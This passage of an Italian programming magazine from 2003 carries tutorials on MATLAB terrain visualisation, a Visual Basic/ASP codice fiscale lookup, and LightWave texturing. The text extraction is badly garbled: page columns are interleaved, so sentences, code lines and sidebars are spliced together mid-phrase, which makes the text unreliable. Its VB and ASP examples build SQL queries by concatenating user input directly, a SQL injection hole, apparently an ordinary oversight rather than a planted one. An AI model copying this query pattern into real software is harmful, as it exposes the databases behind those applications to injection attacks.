ifstream sorgente(argv[1]); Insomma: usate gli stream per l'accesso ai file e sa-
if (!sorgente) { rete sicuri di avere fatto la cosa migliore!
cerr << "Errore nell'apertura di " << argv[1] << "\n"; Noi ci vediamo alla prossima.
return 0; Alfredo Marroccelli e Marco Del Gobbo
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 99
100-104 Matlab 5-06-2003 16:32 Pagina 100
C o r s i B a s e G G G G G G G G G G G G G
MATLAB
In volo
sull’Italia
I sistemi di calcolo evoluti devono fornire funzionalità
evolute per accedere in maniera efficiente a grandi masse
di dati e poi essere in grado di manipolarli con efficienza.
100 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
100-104 Matlab 31-05-2003 10:43 Pagina 101
E E E E E E E E E E E E E C o r s i B a s e
utili e, inoltre, dobbiamo essere sicuri di saltare le pri- Grand total is 179 elements using 1670 bytes
me tre righe che contengono soltanto le intestazioni. La
struttura di questo file è sufficientemente regolare per Oltre a load e alla save, MATLAB mette a disposizione
poter usare la funzione textread che opera una semplice una serie di funzioni simili a quelle C per la lettura e
scansione del file per colonne saltando un certo nume- scrittura di file ASCII e binari. Tali funzioni si rivelano
MATLAB
ro di linee di intestazione. particolarmente utili per leggere file testo formattati e
[2] più in generale quando i dati non sono organizzati co-
>> [nome num pianeta dist periodo incl eccen scopritore me matrici. Le principali funzioni disponibili sono:
data] = textread('[Link]','%s %s %s %f %f %f %f [3]
Grand total is 525 elements using 5242 bytes complessa. Abbiamo scelto per questo scopo la superfi-
cie dell’Italia misurata su una griglia uniforme di lato
Vediamo comparire in workspace i nostri dati e notia- pari a 10 km. Il primo passo da eseguire sarà quello del
mo che abbiamo array di celle (cell array) che avevamo caricamento seguito immediatamente da una prima vi-
brevemente esaminato in numeri precedenti. Basti sa- sualizzazione che ci consente di apprezzare il contenu-
pere che essi sono raccolte di elementi che possono non to dei dati:
essere omogenei tra loro (infatti, le stringhe in essi con- [4]
tenute sono di lunghezza differente, cosa che sarebbe >> load italy
[3]
impossibile fare all’interno di una singola matrice). >> hold on
>> doc fscanf
Mentre invece i numeri sono stati creati come vettori >> hs = surf(italy, 'facecolor', 'interp');
colonna. Notiamo soltanto che abbiamo dovuto specifi- >> set(hs, 'EdgeColor', 'none');
care con accuratezza il tipo di dato che andavamo a leg- >> axis ij
gere per mezzo di uno specificatore di formato. L’ulti-
ma operazione che dobbiamo fare ora è effettivamente per mezzo del comando whos scopriamo rapidamente
sbarazzarci di quelle variabili che non ci interessa man- che la matrice dei dati di elevazione possiede 180 righe
tenere. Per eliminare una variabile dal workspace è ne- e 180 colonne (32400 elementi). La Fig. 1 mostra i risul-
cessario utilizzare il comando clear. tati di queste operazioni. Notiamo immediatamente
due cose: la mappa dei colori non ci consente di distin-
>> clear data
[4]
>> help axis
Se diamo un’occhiata al workspace con whos ci accor-
ci aiuta e com-
giamo che MATLAB ha rimosso la variabile ed ha quin- prendere la sua fun-
di liberato la memoria da essa occupata. Il comando zione.
clear accetta anche una lunga lista di variabili.
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 101
100-104 Matlab 31-05-2003 10:44 Pagina 102
C o r s i B a s e G G G G G G G G G G G G G
guere tra le terre emerse ed il fondo del mare e abbiamo grado di disegnarla avremo un modo alternativo per
il sospetto che le vette più alte delle Alpi siano più bas- capire il confine tra terra e acqua:
se della realtà. D’altronde se ripensiamo a quanto sia [6]
ampia la maglia della griglia usata per le misurazioni >> [c,h0] = contour3(italy, [0 0], 'r');
comprendiamo bene che è estremamente improbabile >> set(h0, 'LineWidth', 2)
che la cima di una montagna possa essere centrata con
MATLAB sufficiente accuratezza. Ne abbiamo una conferma di- In questo modo vediamo comparire una linea che dise-
retta eseguendo un semplice calcolo: gna le forme a noi tutti note delle coste di questa por-
[5] zione di mare Mediterraneo. Se volessimo ora com-
>> max(max(italy)) prendere quale sarebbe l’effetto di una salita della su-
ans = perficie del mare pari a 20 metri non dovremmo fare al-
3902.00 tro che:
Sappiamo che non potremo fare in modo che i dati >> [c,h20] = contour3(zi, [20 20], 'y');
“mancanti” siano “reinventati” da un algoritmo mate- >> set(h20, 'LineWidth', 2)
matico. Ma dalle considerazioni fatte sui numeri prece-
denti sappiamo che possiamo agire in differenti manie- e vedremmo comparire una linea gialla (‘y’, yellow) che
re per migliorare la situazione: per esempio, infittendo delimita la nuova linea di costa. In Fig. 2 è possibile ve-
la griglia. Questo ci consente di rendere la superficie dere l’effetto di questi comandi.
meglio definita e meno “spigolosa”.
INTERPOLAZIONE 2D
Proviamo a risolvere il primo problema per mezzo di
[5]
La funzione max un’interpolazione che ci restituisca una superficie me-
trova l’elemento glio definita:
massimo di ogni co-
lonna quando é appli-
>> [r,c] = size(italy);
cata ad una matrice.
>> [xi,yi] = meshgrid(1:0.5:r, 1:0.5:r);
>> zi = interp2(1:r, 1:r, italy, xi, yi, ’cubic’);
>> close all
>> hold on
>> hs=surf(zi, 'facecolor', 'interp');
>> set(hs, 'EdgeColor', 'none'); Fig. 2: Ingrandimento di una porzione della
>> axis ij superficie.
Questo semplice codice crea per mezzo di meshgrid una Dopo questa breve deviazione, torniamo al problema
griglia di coordinate che è più fitta di quella di parten- originale: in MATLAB è possibile cambiare la mappa
za (in realtà viene aggiunto un punto al centro dell’in- dei colori per mezzo di una funzione chiamata color-
tervallo tra i due punti originali). Quindi la funzione in- map. In una porzione di:
terp2 si occupa di calcolare i valori nei nuovi punti
[6] (xi,yi) a partire da quelli esistenti (1:r,1:r,italy). Questi >> help graph3d
La funzione con- nuovi livelli di elevazione del terreno vengono poi uti-
tour3 crea curve lizzati esattamente come prima per visualizzare una su- troviamo le mappe di colore standard che è possibile
di livello basate su
perficie analoga. L’interpolazione viene eseguita per usare in maniera nativa in MATLAB. Se ora usassimo
superfici.
mezzo di tratti di polinomi di terzo grado (cubic) per una di queste colormap sui nostri dati otterremmo su-
rendere la superficie più regolare e levigata. perfici colorate differentemente. Provate, per esempio,
con:
102 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
100-104 Matlab 31-05-2003 10:44 Pagina 103
E E E E E E E E E E E E E C o r s i B a s e
fare questo dobbiamo crearci una nostra mappa di co- stesso tempo più potenti di MATLAB. In una sola linea
lori da utilizzare come una tavolozza con la quale an- riesco a modificare i valori presenti negli elementi di
dremo poi a colorare la nostra superficie. Nello script “cdata” puntati dagli indici presenti in a o b per mezzo
chiamato mappacolori.m potete trovare una definizione delle espressioni che stanno a destra dell’uguale. E tut-
di mappa di colori RGB (Red Green Blue) per mezzo di to questo senza immaginarsi complicati cicli e condi-
MATLAB
una matrice di n righe e tre colonne. Ogni riga è una co- zioni. Infine, esiste una proprietà delle superfici (acces-
lore RGB e la mappa è stata creata in tre zone di colore: sibile per mezzo del suo handle, hs) che ci consente di
la prima è formata da 101 elementi ed è una serie di sfu- descrivere la colorazione di una superficie. Questa pro-
mature di blu, mentre la seconda è verde e la terza è un prietà deve contenere una matrice di dimensioni iden-
marrone che va schiarendosi verso il bianco. Le tre por- tiche a quella rappresentata in modo da associare ogni
zioni vengono quindi accodate a formare una sola va- elemento visualizzato con un preciso indice all’interno
riabile chiamata topomap. Questi dati ci sono preziosi e di una mappa di colori. Finalmente, l’ultima linea spe-
per questo decidiamo di farne un file che potremo an- cifica a quale mappa riferirsi con gli indici presenti in
che riutilizzare in futuro. Usiamo una funzione di cui cdata. Potremmo riassumere il concetto dicendo che
abbiamo detto in precedenza ma non abbiamo mai usa- memorizziamo in cdata il numero di colore che trovia-
to direttamente: mo nel catalogo dei colori messo a disposizione da to-
pomap. Facciamo ancora un piccolo passo che ci condu-
>> save mappacol topomap ce ad una visualizzazione ancora più utile perché ci
consente di apprezzare maggiormente i dettagli.
Questo comando salva nel file binario mappacol (de-
fault) la variabile topomap. Ora che possediamo una >> light('position',[0 100 10000])
mappa soddisfacente dobbiamo usarla per colorare la >> lighting phong [7]
nostra superficie. Il codice che opera questa trasforma- >> set(gcf,'Renderer','zbuffer') Le funzioni fix e
zione e; il seguente: >> hold off ceil, rispettiva-
[8] mente, troncano e
arrotondano per ec-
>> minimo = min(min(zi)); L’aggiunta di una fonte di luce ha ulteriormente tra- cesso.
>> massimo = max(max(zi)); sformato la visualizzazione rendendola particolarmen-
>> [r_topo, c_topo] = size(topomap); te interessante. Il risultato di questi semplici passi è mo-
>> a = find(zi<0); strato in Fig. 3.
>> b = find(zi>=0);
>> soglia = 101;
>> [r_it, c_it] = size(zi);
>> cdata = zi*0;
>> cdata(a) = fix((zi(a) - minimo) / (abs(minimo)
/ soglia) + 1);
>> cdata(b) = ceil(zi(b) / (massimo/(r_topo – soglia
- 1)) + soglia + 1);
>> cdata = reshape(cdata, r_it, c_it);
>> set(hs, 'cdata', cdata);
>> colormap(topomap)
[8]
La funzione re-
shape rimodel-
Può sembrare un codice complesso ma, non appena la i dati dell’array
comprenderemo bene quale sia il suo significato, appa- “cdata” per farli di-
Fig. 3: Mappa dell’elevazione del terreno italiano. venire delle stesse
rirà in tutta la sua semplicità. Nelle prime tre righe, cal- dimensioni di “zi”.
Provate a ruotare l’immagine.
coliamo dei parametri che ci serviranno nel seguito per
riscalare i dati. Il codice diviene interessante a partire
dalla quarta riga: la funzione find opera una ricerca al- ANALISI DATI
l’interno della matrice zi e restituisce gli indici delle po- Il nostro ultimo compito è quello di analizzare l’anda-
sizioni dove si verifica la condizione specificata in ar- mento dei nostri dati. Avendo a disposizione dei dati di
gomento. Con le variabili a e b abbiamo ora a disposi- elevazione, è quasi naturale pensare di poter andare a
zione gli indici di tutti quei punti di zi dove le superfi- vedere più da vicino alcune forme che il terreno assu-
cie è emersa (b) o sotto il mare (a). Sapendo dalla co- me presso i rilievi o le profondità marine. Il primo pro-
struzione della mappa che la tavolozza blu si estende in blema da risolvere è relativo al dove vogliamo andare a
topomap sino al 101-esimo elemento possiamo ora risca- vedere meglio i nostri dati. Questo è abbastanza facil-
lare i dati compresi in zi per creare un’altra matrice che mente risolvibile per mezzo dei controlli della camera
contiene delle elevazioni comprese tra 1 e r_topo (mas- presenti sulla finestra grafica (menu “View/Camera Tool-
simo numero di colori a disposizione per il mare). Le li- bar”); a questo punto compare una nuova toolbar che
nee che iniziano con “cdata(a)=…” e “cdata(b)=…” illu- contiene una serie di bottoni che impostano un certo
strano bene una delle caratteristiche più comode e allo movimento del punto da cui si osserva la scena (la ca-
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 103
100-104 Matlab 31-05-2003 10:46 Pagina 104
C o r s i B a s e G G G G G G G G G G G G G
mera appunto). Usando questi comandi, è semplice in- Considerato che probabilmente anche con il mouse non
grandire porzioni di superficie o navigare attorno ad possiamo essere così precisi ed il numero di punti su
esse. Stiamo invece tentando un’operazione un po’ più una geografia così vasta potrebbe condurre ad una vi-
sofisticata. Il nostro scopo è quello di simulare un volo sualizzazione a scatti e strappi decidiamo di aumentare
sull’Italia decidendo di volta in volta il percorso. Per fa- i punti di un fattore f. La funzione interp si occupa di
re questo, abbiamo bisogno ogni volta di definire accu- “ricampionare” i dati aumentandoli di un fattore f. Vie-
MATLAB ratamente le coordinate sulle quali vogliamo transitare. ne ora il momento di decidere a quale altezza vogliamo
Ma questo è un compito particolarmente noioso e lun- volare: in questo caso scegliamo di viaggiare ad un’al-
go. Invece, opereremo in maniera interattiva per rica- tezza di 100 metri maggiore di quella del luogo in cui ci
vare il percorso. Esiste una funzione MATLAB chiama- si trova. Il ciclo che segue imposta di volte in volta la
ta ginput che è in grado di raccogliere tutti i click del posizione della camera (campos), il punto verso cui si
mouse fatti su un’immagine grafica. Esso restituisce le vuole guardare (camtarget) e riposizione la luce che illu-
coordinate del luogo e consente di leggere N punti dal- mina la scena automaticamente nel punto in cui ci tro-
l’asse corrente e di ottenere le coordinate x e y (vettori) viamo e nella direzioni in cui guardiamo. Notiamo che
Un piccolo di lunghezza N. Il cursore può essere posizionato con il il target verso cui si guarda è impostato in una direzio-
errore mouse oppure utilizzando i tasti freccia. I punti vengo- ne che è quella delle coordinate di 3 punti in avanti ed
Nell’articolo no rilevati nel momento in cui si preme un bottone del al 90% dell’altezza alla quale ci troviamo attualmente.
apparso sullo
mouse oppure quando viene premuto un qualunque In Fig. 4 possiamo vedere l’immagine finale che ci si
scorso numero di
ioProgrammo, ab- tasto sulla tastiera ad eccezione del tasto “return”, il presenta alla fine di uno dei “voli” di prova che abbia-
biamo commesso un quale termina l’input degli N punti. mo fatto.
errore nel riportare
due formule a pagi-
>> [x,y] = ginput;
na 99. Ce ne scusia-
mo con i lettori e ri-
portiamo di seguito Una volta che si abbia a disposizione la sequenza delle
le formule corrette: coordinate sulle quali si vuole transitare è necessario
ERRATA:
scrivere una routine che ci faccia “volare” sulla superfi-
I polinomi di Tche- cie:
byshev sono definiti
per n>= ϑ e x appar- >> set(gca, 'CameraViewAngleMode', 'manual');
tenente all’interval-
>> camva(20)
lo [-1,1]
>> camproj perspective
CORRIGE: >> daspect([1, 1, 500]);
I polinomi di Tche-
>> delete(h0); Fig. 4: Immagine finale del volo.
byshev sono definiti
per n>= 0 e x appar- >> delete(h20);
tenente all’interval- >> hlight = camlight('headlight');
lo [-1,1]
Il codice preparatorio al “volo” ci consente di imposta- CONCLUSIONI
re in manuale l’angolo di vista delle superfici (Camera- I metodi di lettura, manipolazione, visualizzazione ed
ERRATA: ViewAngleMode), di impostare a 20 gradi l’angolo sotto analisi dei dati sono la base di un grande numero di ap-
Per mezzo dell’iden- il quale vediamo la scena (camva), di visualizzarla con plicazioni pratiche del calcolo. Qui ne sono stati illu-
tità eiϑ = cos ϑ + isen
una prospettiva realistica (camproj), di deenfatizzare le strati alcuni che rappresentano la base di tali indagini.
ϑ e posto x=cos ϑ
per ϑ appartenente altezze dei monti e le profondita’ marine in modo da Nei prossimi numeri scopriremo quanto questi ci pos-
all’intervallo [ ϑ, ] non vedere picchi troppo accentuati. sano essere utili e ne esploreremo dei nuovi. Abbiamo
Inoltre, decidiamo di cancellare le linee di livello prece- imparato a leggere dati binari in formato “.mat” (MA-
CORRIGE:
Per mezzo dell’iden-
dentemente poste a zero e a venti metri di altitudine in TLAB) e ad accedere a più complessi dati in formato
tità eiϑ = cos ϑ + isen modo da non disturbare la visualizzazione e creiamo ASCII. Inoltre, abbiamo appreso come trasformare le
ϑ e posto x=cos ϑ una nuova fonte di luce che ci servirà ad illuminare me- nostre visualizzazioni ed a personalizzarle con mappe
per ϑ appartenente glio la scena. di colore specifiche di una certa applicazione. L’inter-
all’intervallo [ 0, ]
polazione 2D ci ha aiutato ad aumentare la quantità dei
>> f = 10; dati che stavamo elaborando e le tecniche di visualiz-
>> xvolo = interp(x, f); zazione più avanzate ci hanno consentito di navigare
>> yvolo = interp(y, f); attraverso di loro con efficacia. Nei prossimi numeri ri-
>> zvolo = zi(fix(xvolo), fix(yvolo)) + 100; prenderemo il nostro cammino all’interno di MATLAB
>> for i = 1:length(xvolo) - 3 iniziando a trattare altri modelli matematici che ci con-
>> campos([xvolo(i), yvolo(i), zvolo(i)]) sentiranno di studiare la realtà che ci circonda in ma-
>> camtarget([xvolo(i+3), yvolo(i+3), zvolo(i+3)*0.9]) niera appropriata. Per maggiori informazioni sui pro-
>> camlight(hlight, 'headlight') dotti della famiglia MATLAB potete consultare il sito di
>> drawnow The MathWorks ([Link]).
>> end Fabrizio Sara ([Link]@[Link])
104 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
105-109 VB Av 31-05-2003 10:48 Pagina 105
E E E E E E E E E E C o r s i A v a n z a t i
File Sul CD
N
el precedente articolo abbiamo descritto e ap- postando soltanto i caratteri iniziali del nome o la pro-
plicato le regole per il calcolo del codice fisca- vincia) e descriveremo come adattare il codice Visual \soft\codice
\VBAva_Cf.zip
le. In particolare abbiamo implementato la Basic a VbScript, questo, come è noto, ci consentirà di
funzione CalcoloCF che riceve come parametri i dati migrare l’applicazione su Internet.
anagrafici (Cognome, Nome, DataNascita, sesso, comune) e File sul Web
restituisce il codice fiscale. Questa funzione l’abbiamo [Link]
inserita in un progetto Visual Basic che contiene il form LA GESTIONE DEI COMUNI /ioProg71/VBAva_Cf.zip
mostrato in Fig. 1. Sul form, oltre ai textbox per l’inse- Nel precedente articolo non abbiamo completato il co-
dice che permette di gestire l’interazione con il databa-
se. Ricordiamo che sulla form sono presenti 3 Combo-
Box: Comboprovince che contiene i Record della tabella
Province; Combocomuni che contiene tutti i comuni (ele-
menti della tabella comuni) la cui provincia è specifica-
ta in [Link], infine ComboLike che è di sup-
porto nella fase di ricerca dei comuni.
Quest’ultimo combobox conterrà le descrizioni (dei co-
muni) simili o uguali a quella specificata nel textbox ASP
La tecnologia ASP
txtcomune, questo serve per evitare ambiguità quando permette di gesti-
si ricerca il codice del comune a partire dalla sua de- re siti dinamici cioè in
Fig. 1: Il form che permette di gestire i dati e scrizione. grado di restituire pa-
generare il codice fiscale. gine HTML. Le applica-
Analizziamo il codice per caricare il Comboprovince.
zioni ASP di solito sono
scritte in VbScript. Per
rimento dei dati anagrafici sono presenti gli elementi Public Sub caricacomboprovincia() sviluppare un’applica-
che consentono di interrogare il database di supporto Dim com As [Link] zione ASP (detta Web
Application) possono
all’applicazione. Ricordiamo che questo è un database Set com = InitRecordset("SELECT * FROM Province
essere usati vari tool e
Access con due tabelle (comuni e province) che conten- order by comu_prov") sistemi operativi.
gono rispettivamente i dati sui comuni e sulle provin- While Not [Link] Gli esempi fatti nell’ar-
ce d’Italia (mancano gli stati esteri). Oltre alla procedu- [Link] com!comu_prov ticolo sono implemen-
tati utilizzando Win-
ra citata, abbiamo introdotto la routine che consente di [Link]
dows XP Professional e
eseguire una query sul database cioè la InitRecordset Wend IIS (Internet Informa-
che ha come parametro una query e restituisce un re- End Sub tion Services) 5.1.
cordset caricato con i dati ricavati dal database. Queste
funzioni non saranno trattate in quanto sono esposte Questa procedura bisogna richiamarla dalla Form_
nel CD-Rm allegato alla rivista. L’articolo precedente si Load:
è concluso con l’introduzioni al successivo appunta-
mento; in questo nuovo appuntamento completeremo Private Sub Form_Load()
l’applicazione Codice Fiscale (che prevede calcolo e ve- caricacomboprovincia
rifica del codice fiscale, ricerca dei dati sui comuni im- End Sub
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 105
105-109 VB Av 31-05-2003 10:49 Pagina 106
C o r s i A v a n z a t i G G G G G G G G G G
Visual
[Link]
If Len(Txtcomune) = 0 Then Exit Sub
Fig. 2: IIS 5.1 e il wizard per creare le directory Set rstcomuni = InitRecordset("SELECT * FROM comuni
virtuali. where" & " comu_descr like '" + Txtcomune + "%'")
End If
Nella procedura passiamo la query (seleziona tutti gli Select Case [Link]
elementi della tabella province in ordine alfabetico) ad Case 0
InitRecordset che carica il Recordset “com”. MsgBox "Comune non trovato"
Come accennato, dopo aver selezionato un elemento Case 1
del comboprovince si carica il combocomuni, cioè si pre- Txtcomune = rstcomuni!comu_descr
vede il seguente codice in comboProvince_Click: Txtprovincia = rstcomuni!comu_prov
Txtcodice = rstcomuni!comu_cod
Private Sub comboProvince_Click() Case Is > 1
[Link] While Not [Link]
caricacombocomuni ([Link]) [Link] rstcomuni!comu_descr + " - " _
End Sub & rstcomuni!comu_prov + " - " + rstcomuni!comu_cod
[Link] [Link]
[Link] è la nuo- In cui la caricacombocomuni è la seguente: Wend
va release di ASP.
[Link] = 1
Essa è stata com-
pletamente riscritta Public Sub caricacombocomuni(prov As String) End Select
però continua a convi- Dim com As [Link] End Sub
vere con la tecnologia Set com = InitRecordset("SELECT * FROM comuni
precedente. [Link]
where comu_prov='" & prov + La procedura precedente può inviare due tipi di query,
presenta molte novità
che consentono di mi- "' order by comu_descr") una per trovare uno specifico comune e l’altra per tro-
gliorare l’efficienza While Not [Link] vare un insieme di comuni. Questo insieme viene sele-
delle applicazioni per il [Link] com!comu_descr + " - " zionato attraverso una Select con il comando LIKE ap-
Web, sia in termini di
+ com!comu_cod plicato alla descrizione del comune. Come si può con-
prestazioni che di sicu-
rezza. Le applicazioni [Link] statare, prima viene inviata la query per ricercare un
ASP .NET non sono in- Wend comune, se questa non restituisce nessun record viene
terpretate, come le
[Link] = 0 lanciata la query con il LIKE. In ogni caso i record re-
precedenti, ma compi-
late con la tecnologia End Sub stituiti sono filtrati attraverso una istruzione CASE im-
di compilazione “just postata sul numero dei record restituiti da rstcomuni
in time”. La caricacombocomuni carica il combocomuni con il nome ([Link]).
e il codice (nella forma nome - codice) dei comuni del- In particolare, se il numero di comuni trovati e supe-
la provincia selezionata in comboprovince. Infine, è logi- riore a 1 questi vengono caricati nel Combolike per una
co prevedere, nella combocomuni_Click il codice per ca- successiva selezione attraverso la seguente procedura.
ricare i dati del comune nei tre textbox predisposti:
Private Sub Combolike_Click()
Private Sub combocomuni_Click() Dim pos As Integer
Dim pos As Integer pos = InStr(1, Combolike, " - ")
pos = InStr(1, combocomuni, " - ") Txtcomune = Mid([Link], 1, pos - 1)
Txtcomune = Mid([Link], 1, pos - 1) Txtprovincia = Mid([Link], pos + 3, 2)
Txtprovincia = comboProvince Txtcodice = Mid([Link], pos + 8, 4)
Txtcodice = Mid([Link], pos + 3, 4) End Sub
End Sub
VERIFICA
RICERCA MANUALE DEL CODICE FISCALE
Se volessimo scrivere i dati del comune di nascita di- A questo punto non resta che descrivere come verifica-
106 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
105-109 VB Av 31-05-2003 10:50 Pagina 107
E E E E E E E E E E C o r s i A v a n z a t i
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 107
105-109 VB Av 31-05-2003 10:50 Pagina 108
C o r s i A v a n z a t i G G G G G G G G G G
Visual
End Sub
Sulla pagina [Link], invece, predisporremo un Sub bcodice_OnClick
108 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
105-109 VB Av 31-05-2003 10:50 Pagina 109
E E E E E E E E E E C o r s i A v a n z a t i
Set objrs=nothing Facciamo notare che, dopo aver confermato i dati del
end if form con il pulsante “invia”, i textbox, tranne quello del
%> codice fiscale, verranno “resettati”; per evitare questo,
</select> per ogni elemento di input, dovete inserire del codice
<FORM METHOD="POST" ACTION="[Link]" simile a quello previsto per il “textbox” codice fiscale.
language="vbscript" name="form1" > Per la pagina [Link] prevediamo il seguente co-
Comune dice.
Visual
Basic
<input name="comune" size="20">
<% <script language="VBScript">
[Link] "<input name=codice size=4" Sub invia_Onclick
‘carica il comune dopo averlo selezionato sulla ‘riporta alla pagina [Link] e ricorda il codice del comune
pagina [Link] selezionato
[Link] " value=" + [Link]="/cf/[Link]?message="+[Link]
[Link]("Message")+">" %> End Sub
</p> </script>
Nome <%
<input name="nome" size="20"></p> if [Link]("Message") <> "" then
Cognome [Link] "<font color=blue><b> Provincia: " &
<input name="cognome" size="20"></p> [Link]("Message")&"</font></b><br><br>"
Data di nascita [Link] "seleziona il comune"
<input name="data" size="20" maxlength="10"></p> end if
Sesso %>
<select size="1" name="sesso"> <select size="1" name="comuni">
<option selected value="M">M</option> <%
<option value="F">F</option> ‘carica i comuni della provincia selezionata sulla pagina [Link]
</select></p> Set objConn = [Link]("[Link]")
<b>Codice Fiscale</b> [Link] ("Provider= [Link].4.0;
HTML e ASP
<% Data Source = \cf\[Link]") Le pagine HTML e
if calcolato="" then Set objRS = CreateObject("[Link]") ASP possono es-
sere create con editor
‘imposta il textbox codice fiscale StrQuery="select * from comuni where comu_prov
dedicati, come per
[Link] "<input name=codicefiscale ='"+[Link]("Message") esempio Frontpage,
size=16 " +"'order by comu_prov" oppure con il Blocco
[Link] " value>" Set objRS = [Link](StrQuery) note (salvando il file
con estensione HTML
Else while not [Link] %>
o ASP). Attenzione,
‘imposta il textbox codice fiscale con il contenuto <option value=<%=objRS("comu_cod")%> > <% però, il codice delle
della variabile codicefiscale =objRS("comu_descr") %></option> pagina HTML può es-
[Link] "<input name=codicefiscale size=16" <% sere eseguito anche
se la pagina non è
[Link] " value=" +calcolato + ">" [Link]
pubblicata su un Web
end if wend Server, mentre le pa-
%> Set objConn=nothing gine ASP possono es-
</p> Set objrs=nothing %> sere eseguite solo do-
po la pubblicazione.
</p> </select> </p>
<INPUT TYPE=submit VALUE="Invia" > <INPUT TYPE=submit VALUE="Invia pagina precedente"
<input type="reset" value="Annulla" name="annulla"> name="invia">
</FORM>
<INPUT TYPE=submit VALUE=" Codice Comune" Facciamo notare che nella pagina [Link] manca il
name="bcodice" > codice per passare la descrizione del comune alla pagi-
</body> na [Link].
</html>
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 109
110-114 Lightwave 4-06-2003 11:05 Pagina 110
Multimedia G Lightwave
Ambienti
renderizzati parte terza G Lightwave
Roberto Lombardo
F1 Il pavimento
La prima cosa da fare è realiz- Photoshop, per costruire sopra
zare un riferimento sul quale di essa la texture vera e pro- F2 La texture
andare a “disegnare” la nostra pria. Eviteremo di usare piccole
texture, questo ci servirà per texture tailizzate sul modello Ecco il motivo base scelto diverse altre mappe per ren-
rendere quest’ultima perfetta- tramite uv mapping preferen- per il pavimento, questo è derlo più adatto al risultato
mente adatta e precisa alle do un'unica texture per l’intera stato clonato nel nostro pro- voluto in fase di rendering
dimensioni della stanza, inol- superficie. gramma di fotoritocco sino a finale e all’atmosfera horror
tre, cosi facendo, sappiamo In figura abbiamo il nostro rife- completare l’intero pavimen- di vecchio stampo da ricrea-
esattamente dove andranno a rimento grafico catturato tra- to, su di esso applicheremo re per la nostra scena.
cadere eventuali aggiunte di mite la pressione del tasto
sporco, polvere ecc. Possiamo
semplicemente catturare la top
“print screen” della tastiera,
non resta che scegliere un
2
view del pavimento e importar- motivo di base per il pavimen-
la nel nostro programma di to, in questo caso dei listelli di
fotoritocco, nel mio caso Adobe legno, e inserirlo nella bitmap.
110 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
110-114 Lightwave 31-05-2003 10:51 Pagina 111
F5 Le mura
Passiamo alla creazione la creazione delle stesse.
delle texture del muro, in Dobbiamo creare 2 texture
questo caso non occorre con le stesse dimensioni per
prendere il riferimento per mappare le 3 pareti grandi
del piano terra e 2 per
5 mappare la parete del
piano superiore e della
relativa base, queste ulti-
me saranno grandi la
metà delle precedenti.
In figura possiamo vedere
un semplice specchietto
che illustra le dimensioni
delle 4 texture da creare.
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 111
110-114 Lightwave 31-05-2003 10:52 Pagina 112
Multimedia G Lightwave
F9-10 Il soffitto
Adesso realizziamo la textu- soffitto e la loro composi- per rendere il tutto più anti- freddo ed effetto “plastica”
re per il soffitto, il procedi- zione, mentre in Figura 10 co e vecchio, bisogna ricor- tipico delle immagini 3D.
mento è identico a quello possiamo vedere la texture dare inoltre che, inserire Anche il soffitto è ultimato,
delle pareti, ovvero utilizza- “soffitto” completa e in un imperfezioni in immagini 3D abbiamo inserito un motivo
re una texture di base sulla render di prova. Nel caso come appunto sporco, pol- decorativo accennato sulla
quale poi andremo ad appli- della nostra stanza, essen- vere e altro, contribuiscono texture, motivo che acco-
care diversi layer per spor- do ispirata ad un videoga- enormemente ad aumenta- glierà nella parte centrale il
carla. In Figura 9 abbiamo me horror conviene sporca- re il realismo perdendo cosi grande lampadario realizza-
le texture impiegate per il re a tratti le superfici create la classica sensazione di to nei tutorial precedenti.
9 10
F11-12 La scala 12
La scala è l’oggetto più “diffici- completare l’intera scala.
le” da texturare, in questo caso In questo modo lavoreremo su
la parola “difficile” è intesa co- un singolo elemento alla volta,
me tempo necessario alla sua senza dover ripetere il processo
realizzazione. Il primo elemento di texturing. Useremo una tex-
da texturare è uno dei sostegni ture di tipo legno per tutta la
del passamano, una volta map- scala, in modo da rendere omo-
pato lo cloneremo tante volte genea l’intera struttura, solo i
quanto sarà necessario per gradini veri e propri avranno
11
112 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
110-114 Lightwave 4-06-2003 11:06 Pagina 113
13 15
14
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 113
110-114 Lightwave 5-06-2003 16:52 Pagina 114
Multimedia G Lightwave
F17-18 Le porte 18
L’ultimo elemento da textu- riferimento il wireframe della
rare di questo tutorial. Per la porta per costruire la bitmap
realizzazione della texture su misura, come rappresen-
possiamo prendere come tato in Figura 17.
Anche per questa scegliere-
17 mo un materiale “legno” da
sporcare e invecchiare attra-
verso l’uso di altre mappe
inserite in trasparenza su
quella base, per la maniglia
useremo un metallo sempli-
ce, da inserire in modo pla-
nare sia sulla base che sulla
maniglia stessa. Una volta
texturata possiamo copiarla
a piacimento nella stanza, al
fine di identificare la posizio-
ne migliore e il numero di
porte presenti in scena.
In Figura 18 abbiamo la tex-
ture completa della porta,
della maniglia e la loro com-
posizione, nonché un render
della stessa completa.
F19-20 Conclusioni 19
La nostra stanza è quasi com- dipende dall’impostazione della
pleta, abbiamo 2 render di pro- scena finale, ovvero luci e tipo
va in Figura 19 e 20, adesso di calcolo da eseguire. Questi
che alcune delle texture sono fattori sono rilevanti al fine di
state create e inserite il risultato ottenere un buon risultato in
finale risulta più chiaro. Le tex- uscita dal rendering. Da lavoro
ture impiegate per questo tu- svolto sino ad ora possiamo
torial sono di tipo fotorealistico, facilmente comprendere la mole
poiché contribuiscono a rendere di tempo necessario per realiz-
il tutto molto più reale e detta- zare decine e decine di ambien-
